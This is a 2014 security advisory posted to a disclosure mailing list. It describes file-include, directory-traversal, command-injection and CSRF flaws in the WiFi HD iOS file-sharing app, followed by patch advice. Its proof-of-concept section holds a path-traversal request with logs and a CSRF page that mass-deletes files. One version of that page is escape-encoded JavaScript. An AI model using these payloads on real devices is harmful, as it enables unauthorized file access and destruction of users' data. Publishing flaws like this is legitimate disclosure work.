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Subject: [FD] WiFi HD v7.3.0 iOS - Multiple Web Vulnerabilities
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2014-07-29 9:31:55
Message-ID: 53D76A0B.7070405 () vulnerability-lab ! com
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Document Title:
===============
WiFi HD v7.3.0 iOS - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1283
Release Date:
=============
2014-07-29
Vulnerability Laboratory ID (VL-ID):
====================================
1283
Common Vulnerability Scoring System:
====================================
7.4
Product & Service Introduction:
===============================
Turn your iPhone into a wireless, mobile external hard drive! Works over any WiFi connection. \
You can now share, copy, and backup your files to and from your PC / Mac / Linux / or another \
phone! Very easy to use. No other software necessary! This is a simple, one stop, stand alone \
File Sharing solution.
(Copy of the Homepage: https://itunes.apple.com/us/app/wifi-hd/id310425060 )
Abstract Advisory Information:
==============================
The Vulnerbaility Laboratory Research Team discovered multiple vulnerabilities in the official \
WiFI HD v7.3 iOS mobile web application.
Vulnerability Disclosure Timeline:
==================================
2014-07-29: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Savy Soda
Product: WiFI HD - iOS Mobile Web Application 7.3
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official Savy Soda - WiFI HD \
v7.3.0 iOS mobile web-application. The local file include web vulnerability allows remote \
attackers to unauthorized include local file/path requests or system specific path commands to \
compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `upload` (submit file) module. \
Remote attackers are able to inject own files with malicious `filename` values in the `upload` \
POST method request to compromise the mobile web-application. The local file/path include \
execution occcurs in the index file/folder list context next to the vulnerable filename value. \
The attacker is able to inject the local file request by usage of the available `wifi \
interface` for file exchange/share.
Remote attackers are also able to exploit the filename validation issue in combination with \
persistent injected script codes to execute different local malicious attacks requests. The \
attack vector is on the application-side of the wifi service and the request method to inject \
is POST.
The security risk of the local file include web vulnerability is estimated as high with a cvss \
(common vulnerability scoring system) count of 6.9. Exploitation of the local file include web \
vulnerability requires no privileged web-application user account or user interaction. \
Successful exploitation of the local file include web vulnerability results in mobile \
application or connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Service(s):
[+] WiFi HD v7.3.0
Vulnerable Module(s):
[+] Upload > Submit
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index File/Folder Dir Listing (http://localhost/)
1.2
A directory traversal web vulnerability has been discovered in the official Savy Soda - WiFI HD \
v7.3.0 iOS mobile web-application. The issue allows remote attackers to include own path \
directory values to unauthorized request a system/device path or file.
The issue is located in the `Create New Folder` function with the vulnerable `Enter folder \
name` input. Attackers are able to include own local path requests to compromise the \
application path itself or to unauthorized request local device files. The attack vector of \
the issue is on the application-side and the request method to implement is POST. The \
application-side execution occurs on top of the index next to the path directory listing of \
/home.
The security risk of the directory traversal web vulnerability is estimated as high with a cvss \
(common vulnerability scoring system) count of 6.4. Exploitation of the directory traversal \
web vulnerability requires no privileged web-application user account or user interaction. \
Successful exploitation of the path traversal web vulnerability results in mobile application \
or connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Service(s):
[+] WiFi HD v7.3.0
Vulnerable Module(s):
[+] Create New Folder
Vulnerable Input(s):
[+] Enter folder name
Affected Module(s):
[+] Index Path Dir Listing on top (http://localhost/)
1.3
A local command/path injection web vulnerabilities has been discovered in the official Savy \
Soda - WiFI HD v7.3.0 iOS mobile web-application. The vulnerability allows attackers to inject \
local commands via vulnerable system values to compromise the apple mobile iOS application.
The vulnerability is located in the vulnerable `devicename` value of the `File Dir Index` \
module. Local attackers are able to inject own malicious system specific commands or path \
value requests in the vulnerable `devicename` value. The execution of the local command inject \
occurs in the `File Dir Index` module of the wifi hd v7.3.0 mobile application. The attacker is \
able to manipulate the settings module of the application by preparing to change the local \
devicename. The encoding of the vulnerable values in the index module is broken and allows an \
attacker to inject own commands successfully.
The attack vector is located on the application-side and the injection requires physical device \
access or a local low privileged user account. Local attackers are also able to exploit the \
filename validation issue in combination with persistent injected script codes to execute \
different types of malicious attack requests.
The security risk of the local command/path inject vulnerability is estimated as medium with a \
cvss (common vulnerability scoring system) count of 6.2. Exploitation of the command/path \
inject vulnerability requires a low privileged iOS device account with restricted access and no \
user interaction. Successful exploitation of the vulnerability results in unauthorized \
execution of system specific commands and unauthorized path value requests to compromise the \
mobile iOS application or the connected device components.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Application Header
Vulnerable Parameter(s):
[+] devicename
Affected Module(s):
[+] Index File Dir Listing - Index Header
1.4
A cross site request forgery web vulnerability has been discovered in the official Savy Soda - \
WiFI HD v7.3.0 iOS mobile web-application. The issue allows to execute own script codes through \
application functions by client-side manipulated cross site requests in interaction with a not \
expired user session.
The issue is located in the `delete` function of the mobile web-application. The delete \
function has no restriction and uses only a not secure GET method request. Attackers can \
prepare a website with speical crafted links to force an user to delete all the files in the \
exchange directory service. The attack vector of the issue is on the client-side and the \
request method to execute is GET.
The security risk of the cross site request forgery vulnerability is estimated as low with a \
cvss (common vulnerability scoring system) count of 1.9. Exploitation of the client-side \
vulnerability requires no privileged iOS device account but medium or high user interaction. \
Successful exploitation of the vulnerability results in the delete of all files in the mobile \
application service.
Request Method(s):
[+] [GET]
Vulnerable Parameter(s):
[+] DEL!
Affected Module(s):
[+] Index File Dir Listing
Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attackers without privileged \
application user account or user interaction. For security demonstration or to reproduce the \
security vulnerability follow the provided information and steps below to continue.
PoC: (Current Directory: Home/) < Upload File > Submit
<a href="<iframe src=a>.png"><./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME \
VALUE!]">.png</a></td> <td>[<a href="!DEL!./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME \
VALUE!].png">X</a>] </td> <td align=right>0.5 Kb</td> </tr><tr><td><a href="asdasd-+%3C./[LOCAL \
FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!]%3E/</a></td> <td>[<a \
href="!DEL!asdasd-+%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!]%3E/">X</a>] \
</td><td align=right> </td> </tr> <tr><td colspan=3><hr></td></tr><tr><form action="" \
method="post" enctype="multipart/form-data" name="form1" id="form1"></tr><tr><td><label>Select \
a file to upload: <input type="file" name="file" id="file" /></label> <label><input \
type="submit" name="button" id="button" value="Submit" /></label></td></tr></form><tr><td \
colspan=4><hr></td></tr><tr><form action="" method="post" name="form2" id="form2"><td>Enter \
folder name: <input type="text" name="foldername" id="foldername" /><input type="submit" \
name="button" id="button" value="Create Folder" \
/></td></form></tr></table></body></html></iframe></a>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des \
Inhalts[2080] Mime Type[application/x-unknown-content-type] Request Header:
Host[localhost]
User-Agent
[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------24623207791791
Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY VIA \
FILENAME VALUE!].png"
Content-Type: image/png
1.2
The directory traversal web vulnerability can be exploited by local attackers in the wifi \
without privileged application user account or user interaction. For security demonstration or \
to reproduce the security vulnerability follow the provided information and steps below to \
continue.
PoC: Enter Folder Name > Create New Folder (Current Directory: \
http://localhost/../../../var/mobile/x)
Status: 200[OK]
POST http://localhost/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des \
Inhalts[1926] Mime Type[application/x-unknown-content-type] Request Header:
Host[localhost]
User-Agent
[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost/]
Connection[keep-alive]
POST-Daten:
foldername[..%2F..%2F..%2Fvar%2Fmobile%2Fx]
button[Create+Folder]
Response Header:
Accept-Ranges[bytes]
Content-Length[1926]
Date[Mo.,
28 Juli 2014 12:33:06 GMT]
1.3
The local command inject web vulnerability can be exploited by local attackers with physical \
device access and restricted user account without user interaction. For security demonstration \
or to reproduce the security vulnerability follow the provided information and steps below to \
continue.
Manual steps to reproduce the vulnerability ...
1. Install the mobile application v7.3.0 to your iOS device \
(https://itunes.apple.com/us/app/wifi-hd/id310425060) 2. Activate the wifi in your iOS device
3. Setup a new iOS devicename through the options in the settings > info module
4. Include as new devicename your local command to inject on application-side
5. Open another iOS device and surf to the localhost url
6. The via devicename values injected command executes in the header location were the device \
information becomes visible 7. Successful reproduce of the local command inject vulnerability \
in the iOS application!
PoC: Index (http://localhost/)
<h1>Files on iPhone: bkm337<[LOCAL COMMAND INJECT VULNERABILITY!]"></h1></td></tr>
<tr><td>The following files are hosted live from the iPhone's Docs folder.</td></tr><tr><td \
colspan=3><hr></td>
1.4
The client-side cross site request forgery vulnerability can be exploited by remote attackers \
without privileged application user account and medium or high user interaction. For security \
demonstration or to reproduce the security vulnerability follow the provided information and \
steps below to continue.
PoC:
<html>
<head><body>
<title>CSRF DELETE FOLDERS - PoC</title>
<iframe src=http://localhost:8080/!DEL!1/>
<iframe src=http://localhost:8080/!DEL!2/>
<iframe src=http://localhost:8080/!DEL!3/>
<iframe src=http://localhost:8080/!DEL!4/>
<iframe src=http://localhost:8080/!DEL!5/>
<iframe src=http://localhost:8080/!DEL!6/>
</body></head>
<html>
... or
<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3ECSRF%20DELETE%20FOLDERS%20-%20PoC%3C/title%3E%0A
%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%211/%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%212/%3E%0A
%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%213/%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%214/%3E%0A
%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%215/%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%216/%3E%0A
%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>
Solution - Fix & Patch:
=======================
1.1
The local file include web vulnerability can be patched by a secure parse of the filename value \
in the submit to upload function of the wifi service. Encode also the filename output listing \
to prevent further file include attacks via upload.
1.2
The directory traversal can be patched by a special restriction in the requested path value of \
the web-server. Especially when processing to request the home/path value or by creating a new \
folder. Restrict the input and disallow script code tags as chars, double quotes and slash to \
prevent the attack.
1.3
The local command inject web vulnerability can be patched by a secure parse and encode of the \
vulnerable device name information. Restrict the devicename output and filter wrong inputs to \
prevent further command injection attacks.
1.4
The cross site request forgery issue can be patched by a secure restriction of the DEL! value.
Setup access roles to ensure that an user account can not delete all directory items.
Security Risk:
==============
1.1
The security risk of the local file include vulnerability in the upload > submit function is \
estimated as high.
1.2
The security risk of the directory traversal web vulnerability in the path&directory listing is \
estimated as high.
1.3
The security risk of the local command inject web vulnerability is estimated as high(-).
1.4
The security risk of the client-side cross site request forgery vulnerability is estimated as \
low(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) \
[www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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